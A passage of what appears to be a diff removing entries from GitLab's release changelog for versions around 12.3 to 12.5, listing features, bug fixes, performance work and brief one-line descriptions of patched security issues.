-- Improve performance of admin/abuse_reports page. !19630
-- Remove N+1 DB calls from branches API. !19661
-- Improve performance of linking LFS objects during import. !19709
-- Optimize MergeRequest#mergeable_discussions_state? method. !19988
-- Add index for unauthenticated requests to projects API default endpoint. !19989
-- Add index for authenticated requests to projects API default endpoint. !19993
-- Increase PumaWorkerKiller memory limit in development environment. !20039
-
-### Added (83 changes, 8 of them are from the community)
-
-- Adds Application Settings and ui settings in the integration admin area for Pendo. !15086
-- Add endpoint for a group's vulnerable projects. !15317
-- Added new chart component to display an anomaly boundary. !16530
-- Add links to associated releases on the Milestones page. !16558
-- Merge Details Page and Edit Page for Page Domains. !16687
-- Share groups with groups. !17117
-- Add links to associated release(s) to the milestone detail page. !17278
-- New group path uniqueness check. !17394
-- Unify html email layout for member html emails. !17699 (Diego Louzán)
-- The Security Dashboard displays DAST vulnerabilities for all the scanned sites, not just the first. !17779
-- Create table for elastic stack. !18015
-- Allow to define a default CI configuration path for new projects. !18073 (Mathieu Parent)
-- Issues queried in GraphQL now sortable by due date. !18094
-- Add cleanup status to clusters. !18144
-- Added Tests tab to pipeline detail that contains a UI for browsing test reports produced by JUnit. !18255
-- Users can verify SAML configuration and view SamlResponse XML. !18362
-- Support Enable/Disable operations in Feature Flag API. !18368
-- Expose arbitrary job artifacts in Merge Request widget. !18385
-- Add project option for deleting source branch. !18408 (Zsolt Kovari)
-- Adds ability to set management project for cluster via API. !18429
-- Close issues on Prometheus alert recovery. !18431
-- Add ApplicationSetting for snowplow_iglu_registry_url. !18449
-- Allow Grafana charts to be embedded in Gitlab Flavored Markdown. !18486
-- Mark todo done by GraphQL API. !18581
-- Create a users_security_dashboard_projects table to store the projects a user has added to their personal security dashboard. !18708
-- New API endpoint for creating anonymous merge request discussions from Visual Review Tools. !18710
-- Enable the color chip in AsciiDoc documents. !18723
-- Add prevent_ldap_sign_in option so LDAP can be used exclusively for sync. !18749
-- Show inherited group variables in project view. !18759
-- Add "release" filter to issue search page. !18761
-- Search list of Sentry errors by title in Gitlab. !18772
-- Add migrations and changes for soft-delete for projects. !18791
-- Support for Crossplane as a managed app. !18797 (Mahendra Bagul)
-- Bump Auto-Deploy image to v0.3.0. !18809
-- Set X-GitLab-NotificationReason header if notification reason is explicit subscription. !18812
-- Add issues, MRs, participants, and labels tabs in group milestone page. !18818
-- Add ability to reorder projects on operations dashboard. !18855
-- Make `Job`, `Bridge` and `Default` inheritable. !18867
-- Show epic events on group activity page. !18869
-- Detail view of Sentry error in GitLab. !18878
-- Expose mergeable state of a merge request. !18888 (briankabiro)
-- Add ability to select a Cluster management project. !18928
-- Add a Slack slash command to add a comment to an issue. !18946
-- Added installation commands for npm and yarn packages to package detail page. !18999
-- Show start and end dates in Epics list page. !19006
-- Populate new pipeline CI vars from params. !19023
-- Add warnings about pages access control settings. !19067
-- Graphql mutation for (un)subscribing to an epic. !19083
-- API for stack trace & detail view of Sentry error in GitLab. !19137
-- Add grafana integration active status checkbox. !19255
-- GraphQL: Add Merge Request milestone mutation. !19257
-- Add MergeRequestSetAssignees GraphQL mutation. !19272
-- Add edit button to metrics dashboard. !19279
-- Add "release" filter to merge request search page. !19315
-- Add dead jobs to Sidekiq metrics API. !19350 (Marco Peterseil)
-- Add pipeline information to dependency list header. !19352
-- Build CI cache key from commit SHAs that changed given files. !19392
-- Adding support for searching tags using '^' and '$'. !19435 (Cauhx Milloy)
-- Sentry error stacktrace. !19492
-- Add an `error_code` attribute to the API response when a cherry-pick or revert fails. !19518
-- Add documentation for sign-in application setting. !19561 (Horatiu Eugen Vlad)
-- Create AWS EKS cluster. !19578
-- Add modsecurity logging sidecar to ingress controller. !19600
-- Add start a trial option in the top-right user dropdown. !19632
-- Manage and display labels from epic in the GraphQL API. !19642
-- Allow order_by updated_at in Deployments API. !19658
-- Add can_edit and project_blob_path to metrics_dashboard endpoint. !19663
-- Add usage ping data for project services. !19687
-- Graphql query for issues can now be sorted by relative_position. !19713
-- Add API endpoint to trigger Group Structure Export. !19779
-- Show Tree UI containing child Epics and Issues within an Epic. !19812
-- Enable environments dashboard by default. !19838
-- Update the DB schema to allow linking between Vulnerabilities and Issues. !19852
-- Add Group Audit Events API. !19868
-- Adds a copy button next to package metadata on the details page. !19881
-- GraphQL: Create MR mutations needed for the sidebar. !19913
-- Add id_before, id_after filter param to projects API. !19949
-- Add modsecurity feature flag to usage ping. !20194
-- Specify management project for a Kubernetes cluster. !20216
-- Upgrade pages to 1.12.0. !20217
-- Support template_project_id parameter in project creation API. !20258
-- Add heatmap chart support. !32424
-- Add template for Serverless Framework/JS. !33805
-
-### Other (59 changes, 26 of them are from the community)
-
-- Add EKS cluster count to usage data. !17059
-- Track the starting and stopping of the current signup flow and the experimental signup flow. !17521
-- Attribute Sidekiq workers according to their workloads. !18066
-- Add ApplicationSetting entries for EKS integration. !18307
-- Geo: Add resigns-related fields to Geo Node Status table. !18379
-- Allow adding requests to performance bar manually. !18464
-- Removes `export_designs` feature flag. !18507 (nate geslin)
-- Update AWS SDK to 2.11.374. !18601
-- Remove required dependecy of Postgresql for Gitaly. !18659
-- Add deployment_merge_requests table. !18755
-- Bump Gitaly to 1.70.0 and remove cache invalidation feature flag. !18766
-- Update gRPC to v1.24.0. !18837
-- Update GitLab Runner Helm Chart to 0.10.0. !18879
-- Adds a Sidekiq queue duration metric. !19005
-- Create explicit Default and Free plans. !19033
-- Improve instance mirroring help text. !19047
-- Add Codesandbox metrics to usage ping. !19075
-- Add internal_socket_dir to gitaly config in setup helper. !19170
-- Use Rails 5.2 Redis caching store. !19202
-- Update GitLab Runner Helm Chart to 0.10.1. !19232
-- Rename snowplow_site_id to snowplow_app_id in application_settings table. !19252
-- Removed IIFEs from network.js file. !19254 (nuwe1)
-- Remove IIFEs from project_select.js. !19288 (minghuan lei)
-- Remove IIFEs from merge_request.js. !19294 (minghuan lei)
-- Make snippet list easier to scan. !19490
-- Removed IIFEs from image_file.js. !19548 (nuwe1)
-- Fix api docs for deleting project cluster. !19558
-- Change blob edit view button styling. !19566
-- Include exception and backtrace in API logs. !19671
-- Add index on marked_for_deletion_at in projects table. !19788
-- Visual design for edit buttons in blob view. !19932
-- Refactor disabled sidebar notifications to Vue. !20007 (minghuan lei)
-- Remove IIFEs from branch_graph.js. !20008 (minghuan lei)
-- Remove IIFEs from new_branch_form.js. !20009 (minghuan lei)
-- Remove duplication from slugifyWithUnderscore function. !20016 (Arun Kumar Mohan)
-- Update registry.gitlab.com/gitlab-org/security-products/codequality to 12-5-stable. !20046 (Takuya Noguchi)
-- Add mb-2 class to global alerts. !20081 (2knal)
-- Remove var from syntax_highlight_spec.js. !20086 (Lee Tickett)
-- Remove var from merge_request_tabs_spec.js. !20087 (Lee Tickett)
-- Remove var from bootstrap_jquery_spec.js. !20089 (Lee Tickett)
-- Remove var from project_select.js. !20091 (Lee Tickett)
-- Remove var from new_commit_form.js. !20095 (Lee Tickett)
-- Remove var from issue.js. !20098 (Lee Tickett)
-- Remove var from new_branch_form.js. !20099 (Lee Tickett)
-- Remove var from tree.js. !20103 (Lee Tickett)
-- Remove var from line_highlighter.js. !20108 (Lee Tickett)
-- Remove var from preview_markdown.js. !20115 (Lee Tickett)
-- remove all references of BoardService in boards_selector.vue. !20147 (nuwe1)
-- Remove all references to BoardsService in index.vue. !20152 (nuwe1)
-- Remove var from labels_select.js. !20153 (Lee Tickett)
-- Remove all reference to BoardService in board_form.vue. !20158 (nuwe1)
-- Remove calendar icon from personal access tokens. !20183
-- Move margin-top from flash container to flash. !20211
-- Bump Auto DevOps deploy image to v0.7.0. !20250
-- Make 'Sidekiq::Testing.fake!' mode as default. !31662 (@blackst0ne)
-- Replace task-done icon with list-task icon to better align with other toolbar list icons.
-- Dependency Scanning template that doesn't rely on Docker-in-Docker.
-- Adding dropdown arrow icon and updated text alignment.
-- Change selects from default browser style to custom style.
-
-
-## 12.4.8
-
-### Security (1 change)
-
-- Fix private objects exposure when using Project Import functionality.
-
-
-## 12.4.5
-
-- No changes.
-
-## 12.4.3
-
-### Fixed (2 changes)
-
-- Only enable protected paths for POST requests. !19184
-- Fix Bitbucket Cloud importer pull request state. !19734
-
-
-## 12.4.2
-
-### Fixed (10 changes)
-
-- Increase timeout for FetchInternalRemote RPC call. !18908
-- Clean up duplicate indexes on ci_trigger_requests. !19053
-- Fix project imports not working with serialized data. !19124
-- Fixed welcome screen icons not showing. !19148
-- Disable protected path throttling by default. !19185
-- Fix Prometheus duplicate metrics. !19327
-- Fix ref switcher not working on Microsoft Edge. !19335
-- Extend gRPC timeouts for Rake tasks. !19461
-- Disable upload HTTP caching to fix case when object storage is enabled and proxy_download is disabled. !19494
-- Removes arrow icons for old collapsible sections.
-
-### Changed (2 changes)
-
-- Increased deactivation threshold to 180 days. !18902
-- Add extra sentence about registry to AutoDevOps popup. !19092
-
-
-## 12.4.1
-
-### Security (14 changes)
-
-- Standardize error response when route is missing.
-- Do not display project labels that are not visible for user accessing group labels.
-- Show cross-referenced label and milestones in issues' activities only to authorized users.
-- Show cross-referenced label and milestones in issues' activities only to authorized users.
-- Analyze incoming GraphQL queries and check for recursion.
-- Disallow unprivileged users from commenting on private repository commits.
-- Don't allow maintainers of a target project to delete the source branch of a merge request from a fork.
-- Require Maintainer permission on group where project is transferred to.
-- Don't leak private members in project member autocomplete suggestions.
-- Return 404 on LFS request if project doesn't exist.
-- Mask sentry auth token in Error Tracking dashboard.
-- Fixes a Open Redirect issue in `InternalRedirect`.
-- Remove deploy access level when project/group link is deleted.
-- Sanitize all wiki markup formats with GitLab sanitization pipelines.
-
-
-## 12.4.0
-
-### Security (14 changes)
-
-- HTML-escape search term in empty message. !18319
-- Fix private feature Elasticsearch leak.
-- Prevent bypassing email verification using Salesforce.
-- Fix new project path being disclosed through unsubscribe link of issue/merge requests.
-- Do not show resource label events referencing not accessible labels.
-- Check permissions before showing head pipeline blocking merge requests.
-- Cancel all running CI jobs triggered by the user who is just blocked.
-- Do not disclose project milestones on group milestones page when project milestones access is disabled in project settings.
-- Display only participants that user has permission to see on milestone page.
-- Fix Gitaly SearchBlobs flag RPC injection.
-- Add a policy check for system notes that may not be visible due to cross references to private items.
-- Limit search for IID to a type to avoid leaking records with the same IID that the user does not have access to.
-- Prevent GitLab accounts takeover if SAML is configured.
-- Only render fixed number of mermaid blocks.
-
-### Fixed (103 changes, 12 of them are from the community)
-
-- When user toggles task list item, keep details open until user closes the details manually. !16153
-- Fix formatting welcome screen external users. !16667
-- Fix signup link in admin area not being disabled. !16726 (Illya Klymov)
-- Fix routing bugs in security dashboards. !16738
-- Fix Jira integration favicon image with relative URL. !16802
-- Add timeout mechanism for CI config validation. !16807
-- Fix for count in todo badge when user has over 1,000 todos. Will now correctly display todo count after user marks some todos as done. !16844 (Jesse Hall @jessehall3)
-- Naming a project "shared" will no longer automatically open the "Shared Projects" tab. !16847 (Jesse Hall @jessehall3)
-- Adds the ability to delete single tags from the docker registry. Fix the issue that caused all related tags and image to be deleted at the same time. !16886
-- Changed confidential quick action to only be available on non confidential issues. !16902 (Marc Schwede)
-- Stop sidebar icons from jumping when expanded & collapsed. !16971
-- Set name and updated_at properly in GitHub ReleaseImporter. !17020
-- Remove thin white line at top of diff view code blocks. !17026
-- Show correct CI indicator when build succeeded with warnings. !17034
-- Create a persistent ref per pipeline for keeping pipelines run from force-push and merged results. !17043
-- Move SMAU usage counters to the UsageData count field. !17074
-- Allow maintainers to toggle write permission for public deploy keys. !17210
-- Fix GraphQL for read-only instances. !17225
-- Fix visibility level error when updating group from API. !17227 (Mathieu Parent)
-- Fix stylelint errors in epics.scss. !17243
-- Fix new discussion replies sometimes showing up twice. !17255
-- Adjust unnapliable suggestions in expanded lines. !17286
-- Show all groups user belongs to in Notification settings. !17303
-- Alphabetically sorts selected sidebar labels. !17309
-- Show issue weight when weight is 0. !17329 (briankabiro)
-- Generate LFS token authorization for user LFS requests. !17332
-- Backfill releases table updated_at column and add not null constraints to created_at and updated_at. !17400
-- Log Sidekiq exceptions properly in JSON format. !17412
-- Redo fix for related issues border radius. !17480
-- Show the original branch name and link of merge request in pipeline emails. !17513
-- Fixes issues with the security reports migration. !17519
-- Users can view the blame or history of a file with newlines in its filename. !17543 (Jesse Hall @jessehall3)
-- Display reCAPTCHA modal when making issue public. !17553
-- Fix css selector for details in issue description. !17557
-- Prevents a group path change when a project inside the group has container registry images. !17583
-- Show 20 labels in dropdown instead of 5. !17596
-- Nullify platform Kubernetes namespace if blank. !17657
-- Fix Issue: WebIDE asks for confirmation to leave the page when committing and creating a new MR. !17671
-- Catch unhandled exceptions in health checks. !17694
-- Suppress error messages shown when navigating to a new page. !17706
-- Specify sort order explicitly for Group and Project audit events. !17739
-- Merge Request: Close JIRA issues when issues are disabled. !17743
-- Disable gitlab-workhorse static error page on health endpoints. !17770
-- Fix notes race condition when linking to specific note. !17777
-- Fix relative positioning when moving items down and there is no space. !17781
-- Fix project imports for pipelines for merge requests. !17799
-- Increase the limit of includes in CI file to 100. !17807
-- Geo: Fix race condition for container synchronization. !17823
-- Geo: Invalidate cache after refreshing foreign tables. !17885
-- Abort Merge When Pipeline Succeeds when Fast Forward merge is impossible. !17886
-- Fix viewing merge reqeust from a fork that's being deleted. !17894
-- Fix empty security dashboard for public projects. !17915
-- Fix inline rendering of videos for uploads with uppercase file extensions. !17924
-- Hide redundant labels in issue boards. !17937
-- Time window filter in monitor dashboard gets reset. !17972
-- Use cache_method_asymmetrically with Repository#has_visible_content?. !17975
-- Allow users to compare Git revisions on a read-only instance. !18038
-- Enable Google API retries for uploads. !18040
-- Fix bug with new wiki not being indexed. !18051
-- Stops the expand button in reports from expanding. !18064
-- Make sure project insights stick on its own. !18082
-- Embed metrics time window scroll no longer affects other embeds. !18109
-- Fix broken notes avatar rendering in Chrome 77. !18110
-- Ignore incoming emails with X-Autoreply header. !18118
-- Enable grid, frame and stripes styling on AsciiDoc tables. !18165 (Guillaume Grossetie)
-- Add backend support for selecting custom templates by ID. !18178
-- Fix notifications for private group mentions in Notes, Issues, and Merge Requests. !18183
-- Do not strip forwarded message body when creating an issue from Service Desk email. !18196
-- Fix protected branch detection used by notification service. !18221
-- Fix error where helper was incorrectly returning `true`. !18231
-- Adjust placeholder to solve misleading regex. !18235
-- Fix Flaky spec/finders/members_finder_spec.rb:85. !18257 (Jacopo Beschi @jacopo-beschi)
-- Fix 500 error on clicking to LetsEncrypt Terms of Service. !18263
-- Fix error tracking table layout on small screens. !18325
-- GitHub import: Handle nil published_at dates. !18355
-- Do not allow deactivated users to use slash commands. !18365
-- Fix creating epics with dates from api. !18393
-- JIRA Service: Improve username/email validation. !18397
-- Stopped CRD apply retrying from allowing silent failures. !18421
-- Fix erroneous "No activities found" message. !18434
-- Support ES searches for project snippets. !18459
-- Fix styling of set status emoji picker. !18509
-- Fix showing diff when it has legacy diff notes. !18510
-- JIRA Integration API URL works having a trailing slash. !18526
-- Fixes embedded metrics chart tooltip spacing. !18543
-- Bump GITLAB_ELASTICSEARCH_INDEXER_VERSION=v1.4.0. !18558
-- Fix pod logs failure when pod contains more than 1 container. !18574
-- Prevent the slash command parser from removing leading whitespace from content that is unrelated to slash commands. !18589 (Jared Deckard)
-- Fix inability to set snippet visibility via API. !18612
-- Fix Web IDE tree not updating modified status. !18647
-- Fix button link foreground color. !18669
-- Resolve missing design system notes icons. !18693
-- Remove duplicate primary button in dashboard snippets. !32048 (George Tsiolis)
-- Allow to view productivity analytics page without a license. !33876
-- Fix container registry delete tag modal title and button. !34032
-- Fixes variables overflowing in sm screens.
-- Update top nav bar to fit all content in at all screen sizes.
-- Fix permissions for group milestones.
-- Removes Collapsible Sections from Job Log.
-- Fixes job overflow in stages dropdown.
-- Fix moved help URL for monitoring performance.
-- Fix issue with wiki TOC links being treated as external links. (Oren Kanner)
-- Show error message when setting an invalid group ID for the performance bar.
-
-### Deprecated (1 change)
-
-- Removing cleanup:repo, cleanup:dirs. !18087
-
-### Changed (51 changes, 3 of them are from the community)
-
-- Links on Releases page to commits and tags. !16128
-- Add status to deployments and state to environments in API responses. !16242
-- Use search scope label in empty results message. !16324
-- Add step 2 of the experimental signup flow. !16583
-- Add property to enable metrics dashboards to be rearranged. !16605
-- Allow intra-project MR dependencies. !16799
-- Use scope param instead of hide_dismissed. !16834
-- Add empty state in file search. !16851
-- Warn before applying issue templates. !16865
-- MR Test Summary now shows errors as failures. !17039
-- Add support for the association of multiple milestones to the Releases page. !17091
-- Display if an issue was moved in issue list. !17102
-- Improve UI for admin/projects and group/settings/projects pages. !17247
-- Update registry tag delete popup message. !17257
-- Show the "Set up CI/CD" prompt in empty repositories when applicable. !17274 (Ben McCormick)
-- Knative version bump 0.6 -> 0.7. !17367 (Chris Baumbauer)
-- Fix usability problems with the file template picker. !17522
-- Make commit status created for any pipelines. !17524 (Aufar Gilbran)
-- Add warnings to performance bar when page shows signs of poor performance. !17612
-- Banners should only be dismissable by clicking x button. !17642
-- Changes response body of liveness check to be more accurate. !17655
-- Enable Request Access functionality by default for new projects and groups. !17662
-- Add more attributes to issues GraphQL endpoint. !17802
-- Improve admin/system_info page ui. !17829
-- Adds management project for a cluster. !17866
-- Upgrade gitlab-workhorse to 8.12.0. !17892
-- Geo: Fix instruction from rake geo:gitlab:check. !17895
-- Upgrade to Gitaly v1.66.0. !17900
-- Do not start mirroring via API when paused. !17930
-- Use MR links in PipelinePresenter#ref_text for branch pipelines. !17947
-- Avoid knative and prometheus uninstall race condition. !18020
-- Deprecate usage of state column for issues and merge requests. !18099
-- Add missing page title to projects/container-registry. !18114
-- Port over EE pipeline functionality to CE. !18136
-- Aggregate push events when there are too many. !18239
-- Cleanup background migrations for any approval rules. !18256
-- Container registry tag(s) delete button pluralization. !18260
-- Create clusters with VPC-Native enabled. !18284
-- Update cluster link text. !18322
-- Upgrade to Gitaly v1.67.0. !18326
-- Improve UI of documentation under /help. !18331
-- Cross-link unreplicated Geo types to issues. !18443
-- Make designs read-only if the issue has been moved, or if its discussion has been locked. !18551
-- Do not show new issue button on archived projects. !18590
-- Increase group avatar size to 40px. !18654
-- Sort vulnerabilities by severity then confidence for dashboard and pipeline views. !18675
-- Add timeouts for each RPC call. !31766
-- Add more specific message to clarify the role of empty images in container registry. !32919
-- Embed Jaeger in Gitlab UI.
-- Use text instead of icon for recent searches dropdown.
-- Export liveness and readiness probes.
-
-### Performance (25 changes, 1 of them is from the community)
-
-- Limit diverging commit counts requests. !16737
-- Use GetBlobs RPC for uri type. !16824
-- Reduce Gitaly calls when viewing a commit. !17095
-- Limit snippets search count. !17585
-- Narrow snippet search scope in GitLab.com. !17625
-- Handle wiki and graphql attachments in gitlab-workhorse. !17690
-- Reduce lock contention of deployment creation by allocating IID outside of the pipeline transaction. !17696
-- Update PumaWorkerKiller defaults. !17758
-- Add trigram index on snippet content. !17806
-- Fix Gitaly N+1 queries in related merge requests API. !17850
-- Don't execute webhooks/services when above limit. !17874
-- Only schedule updating push-mirrors once per push. !17902
-- Show only personal snippets on explore page. !18092
-- Priority bump authorized_projects sidekiq queue. !18125
-- Avoid dumping files on disk when direct_upload is enabled. !18135
-- Check if mapping is empty before caching in File Collections. !18290 (briankabiro)
-- Avoid unnecessary locks on internal_ids. !18328
-- Fix N+1 queries in Jira Development Panel API endpoint. !18329
-- Optimize SQL requests for BlameController and CommitsController. !18342
-- Remove N+1 for fetching commits signatures. !18389
-- Reduce idle in transaction time when updating a merge request. !18493
-- Use cascading deletes for deleting logs upon deleting a webhook. !18642
-- Replace index on ci_triggers. !18652
-- Hide license breakdown in /admin if user count is high. !18825
-- Cache branch and tag names as Redis sets. !30476
-
-### Added (78 changes, 12 of them are from the community)
-
-- Adds sorting of packages at the project level. !15448
-- Add projects.only option to Insights. !15930
-- Add kubernetes section to group runner settings. !16338
-- Enable Cloud Run on GKE cluster creation. !16566
-- Add file matching rule to flexible CI rules. !16574
-- Enable preview of private artifacts. !16675 (Tuomo Ala-Vannesluoma)
-- Upgrade Gitaly to v1.64. !16788
-- Render xml artifact files in GitLab. !16790
-- Add GitHub & Gitea importers project filtering. !16823
-- Add project filtering to Bitbucket Cloud import. !16828
-- Provides internationalization support to chart legends. !16832
-- Expose name property in imports API. !16848
-- Add allowFilter and allowAnySHA1InWant for partial clones. !16850
-- [ObjectStorage] Allow migrating back to local storage. !16868
-- Require admins to enter admin-mode by re-authenticating before performing administrative operations. !16981 (Roger Rüttimann & Diego Louzán)
-- Deactivate a user (with self-service reactivation). !17037
-- Add database tables to store AWS roles and cluster providers. !17057
-- Collect docker registry related metrics. !17063
-- Allow releases to be targeted by URL anchor links on the Releases page. !17150
-- Add project_pages_metadata DB table. !17197
-- Add index on ci_builds for successful Pages deploys. !17204
-- Creation of Evidence collection of new releases. !17217
-- API: Add missing group parameters. !17220 (Mathieu Parent)
-- Allow to exclude ancestor groups on group labels API. !17221 (Mathieu Parent)
-- Added 'copy link' in epic comment dropdown. !17224
-- Add columns for per project/group max pages/artifacts sizes. !17231
-- Create table for grafana api token for metrics embeds. !17234
-- Add proper label REST API for update, delete and promote. !17239 (Mathieu Parent)
-- Allow cross-project pipeline triggering with CI_JOB_TOKEN in core. !17251
-- Add user_id and created_at columns to design_management_versions table. !17316
-- Add pull_mirror_branch_prefix column on projects table. !17368
-- Expose web_url for epics on API. !17380
-- Improve time window filtering on metrics dashboard. !17554
-- Group level Container Registry browser. !17615
-- Add API for manually creating and updating deployments. !17620
-- Introduce diffs_batch JSON endpoint for paginated diffs. !17651
-- Web IDE button should fork and open forked project when selected from read-only project. !17672
-- Allow users to be searched with a @ prefix. !17742
-- Add individual inherited member lookup API. !17744
-- Preserve custom .gitlab-ci.yml config path when forking. !17817 (Mathieu Parent)
-- Introduce CI_PROJECT_TITLE as predefined environment variable. !17849 (Nejc Habjan)
-- Feature enabling embedded audio elements in markdown. !17860 (Jesse Hall @jessehall3)
-- Add 'New release' to the project custom notifications. !17877
-- Added timestamps (created_at and updated_at) to API pipelines response. !17911
-- Added timestamp (updated_at) to API deployments response. !17913
-- Add pipeline preparing status icons. !17923
-- Creates Vue and Vuex app to render exposed artifacts. !17934
-- Add web_exporter to expose Prometheus metrics. !17943
-- Schedule background migration to populate pages metadata. !17993
-- Add "Edit Release" page. !18033
-- Unpin ingress image version, upgrade chart to 1.22.1. !18047
-- Adds sorting of packages at the group level. !18062
-- Introduce a lightweight diffs_metadata endpoint. !18104
-- Limit the number of comments on an issue, MR, or commit. !18111
-- Introduce new Ansi2json parser to convert job logs to JSON. !18133
-- Use new Ansi2json job log converter via feature flag. !18134
-- Snowplow custom events for Monitor: Health Product Categories. !18157
-- Support Create/Read/Destroy operations in Feature Flag API. !18198
-- Add two new predefined stages to pipelines. !18205
-- Add endpoint to proxy requests to grafana's proxy endpoint. !18210
-- Add ability to query todos using GraphQL. !18218
-- Include in the callout message a list of jobs that caused missing dependencies failure. !18219
-- Adds login input with copy box and supporting copy to empty container registry view. !18244 (nate geslin)
-- Add max_artifacts_size fields under project and group settings. !18286
-- Provide Merge requests and Issue links through the Release API. !18311
-- Adds separate parsers for mentions of users, groups, projects in markdown content. !18318
-- Add matching branch info to branch column. !18352
-- Users can preview audio files in a repository. !18354 (Jesse Hall @jessehall3)
-- Add edit button to release blocks on Releases page. !18411
-- Add "Custom HTTP Git clone URL root" setting. !18422
-- Add support for epic update through GraphQL API. !18440
-- Expose subscribed attribute for epic on API. !18475
-- Geo: Enable replicating uploads, LFS objects, and artifacts in Object Storage. !18482
-- Show related merge requests in pipeline view. !18697
-- Allow users to configure protected paths from Admin panel. !31246
-- persist the refs when open the link of refs in a new tab of browser. !31998 (minghuan lei)
-- Add first_parent option to list commits api. !32410 (jhenkens)
-- Allow users to add and remove zoom rooms on an issue using quick action commands.
-
-### Other (23 changes, 5 of them are from the community)
-
-- Sync issuables state_id with null values. !16480
-- Experimental separate sign up flow. !16482
-- Upgrade Rouge to v3.11.0. !17011
-- Better job naming for Docker.gitlab-ci.yml. !17218 (luca.orlandi@gmail.com)
-- Update GitLab Runner Helm Chart to 0.9.0. !17326
-- Change welcome message and make translatable. !17391
-- Remove map-get($grid-breakpoints, xs) for max-width. !17420 (Takuya Noguchi)
-- Document Git LFS and max file size interaction. !17609
-- Refactor email notification code. !17741 (briankabiro)
-- Ignore id column of ci_build_trace_sections table. !17805
-- Extend graphql query endpoint for merge requests to return more attributes to support sidebar implementation. !17813
-- Project list: Align star icons. !17833
-- Moves the license compliance reports to the Backend. !17905
-- Fixes wrong link on Protected paths admin settings. !17945
-- Update Pages to v1.11.0. !18010
-- Refactor checksum code in uploads. !18065 (briankabiro)
-- Make instance configuration user friendly. !18363 (Takuya Noguchi)
-- Update Workhorse to v8.14.0. !18391
-- Attribute each Sidekiq worker to a feature category. !18462
-- Update GitLab Shell to v10.2.0. !18735
-- Use correct icons for issue actions.
-- Increase color contrast of select option path.
-- Remove Postgresql specific setup tasks and move to schema.rb.
-
-
-## 12.3.9
-
-### Security (1 change)
-
-- Update maven_file_name_regex for full string match.
-
-
-## 12.3.7
-
-### Security (12 changes)
-
-- Do not create todos for approvers without access. !1442
-- Limit potential for DNS rebind SSRF in chat notifications.
-- Encrypt application setting tokens.
-- Update Workhorse and Gitaly to fix a security issue.
-- Add maven file_name regex validation on incoming files.
-- Hide commit counts from guest users in Cycle Analytics.
-- Check permissions before showing a forked project's source.
-- Fix 500 error caused by invalid byte sequences in links.
-- Ensure are cleaned by ImportExport::AttributeCleaner.
-- Remove notes regarding Related Branches from Issue activity feeds for guest users.
-- Escape namespace in label references to prevent XSS.
-- Add authorization to using filter vulnerable in Dependency List.
-
-
-## 12.3.4
-
-### Fixed (2 changes)
-
-- Fix cannot merge icon showing in dropdown for users who can merge. !17306
-- Fix pipelines for merge requests in project exports. !17844
-
-
-## 12.3.2
-
-### Security (12 changes)
-
-- Fix Gitaly SearchBlobs flag RPC injection.
-- Add a policy check for system notes that may not be visible due to cross references to private items.
-- Display only participants that user has permission to see on milestone page.
-- Do not disclose project milestones on group milestones page when project milestones access is disabled in project settings.
-- Check permissions before showing head pipeline blocking merge requests.
-- Fix new project path being disclosed through unsubscribe link of issue/merge requests.
-- Prevent bypassing email verification using Salesforce.
-- Do not show resource label events referencing not accessible labels.
-- Cancel all running CI jobs triggered by the user who is just blocked.
-- Fix Gitaly SearchBlobs flag RPC injection.
-- Only render fixed number of mermaid blocks.
-- Prevent GitLab accounts takeover if SAML is configured.
-
-
-## 12.3.1
-
-### Fixed (4 changes)
-
-- Fix ordering of issue board lists not being persisted. !17356
-- Fix error when duplicate users are merged in approvers list. !17406
-- Fix bug that caused a merge to show an error message. !17466
-- Fix CSS leak in job log.
-
-
-## 12.3.0
-
-### Security (23 changes)
-
-- Filter out old system notes for epics in notes api endpoint response.
-- Fix SSRF via DNS rebinding in Kubernetes Integration.
-- Fix project import restricted visibility bypass via API.
-- Prevent disclosure of merge request ID via email.
-- Use admin_group authorization in Groups::RunnersController.
-- Gitaly: ignore git redirects.
-- Prevent DNS rebind on JIRA service integration.
-- Make sure HTML text is always escaped when replacing label/milestone references.
-- Fix HTML injection for label description.
-- Avoid exposing unaccessible repo data upon GFM post processing.
-- Remove EXIF from users/personal snippet uploads.
-- Fix weak session management by clearing password reset tokens after login (username/email) are updated.
-- Added image proxy to mitigate potential stealing of IP addresses.
-- Restrict MergeRequests#test_reports to authenticated users with read-access on Builds.
-- Ensure only authorised users can create notes on Merge Requests and Issues.
-- Send TODOs for comments on commits correctly.
-- Check permissions before responding in MergeController#pipeline_status.
-- Limit the size of issuable description and comments.
-- Enforce max chars and max render time in markdown math.
-- Speed up regexp in namespace format by failing fast after reaching maximum namespace depth.
-- Add :login_recaptcha_protection_enabled setting to prevent bots from brute-force attacks.
-- Upgrade pages to 1.8.1.
-- Show cross-referenced MR-id in issues' activities only to authorized users.
-
-### Removed (1 change)
-
-- Removed redundant index on releases table. !31487
-
-### Fixed (78 changes, 25 of them are from the community)
-
-- Avoid Devise "401 Unauthorized" responses. !16519
-- Allow close status to be shown on locked issues. !16685
-- Changed todo/done quick actions to work not only for first usage. !16837 (Marc Schwede)
-- Adds missing error handling. !16896 (toptalo)
-- Prevent the user from seeing an invalid "Purchase more minutes" prompt. !16979
-- Fix missing board lists when other users collapse / expand the list. !17318
-- Uses projects_authorizations.access_level in MembersFinder. !28887 (Jacopo Beschi @jacopo-beschi)
-- Let project reporters create issue from group boards. !29866
-- Remove margin from user header. !30878 (lucyfox)
-- Improve application settings API. !31149 (Mathieu Parent)
-- Fix encoding of special characters in "Find File". !31311 (Jan Beckmann)
-- Avoid conflicts between ArchiveTracesCronWorker and ArchiveTraceWorker. !31376
-- Disable "Transfer group" button when no group is selected. !31387 (Jan Beckmann)
-- Prevent archived projects from showing up in global search. !31498 (David Palubin)
-- Fixed embeded metrics tooltip inconsistent styling. !31517
-- Fix 500 errors caused by pattern matching with variables in CI Lint. !31719
-- Fixed removing directories in Web IDE. !31727
-- All of discussion expand/collapse button is clickable. !31730
-- Only show /copy_metadata quick action when usable. !31735 (Lee Tickett)
-- Read pipelines from public projects through API without an access token. !31816
-- fix charts scroll handle icon to use gitlab svg. !31825
-- Remove "Commit" from pipeline status tooltips. !31861
-- Fix top-nav search bar dropdown on xl displays. !31864 (Kemais Ehlers)
-- Fix loading icon causing text to jump in file row of Web IDE. !31884
-- Fix MR reports section loading icon alignment. !31897
-- Fix broken git clone box on wiki git access page. !31898
-- Exempt user gitlab-ci-token from rate limiting. !31909
-- Fix search preserving space when change branch. !31973 (minghuan lei)
-- Fix file header style and position during scroll in a merge conflict resolution. !31991
-- Allow latency measurements of sidekiq jobs taking > 2.5s. !32001
-- Return correct user for manual deployments. !32004
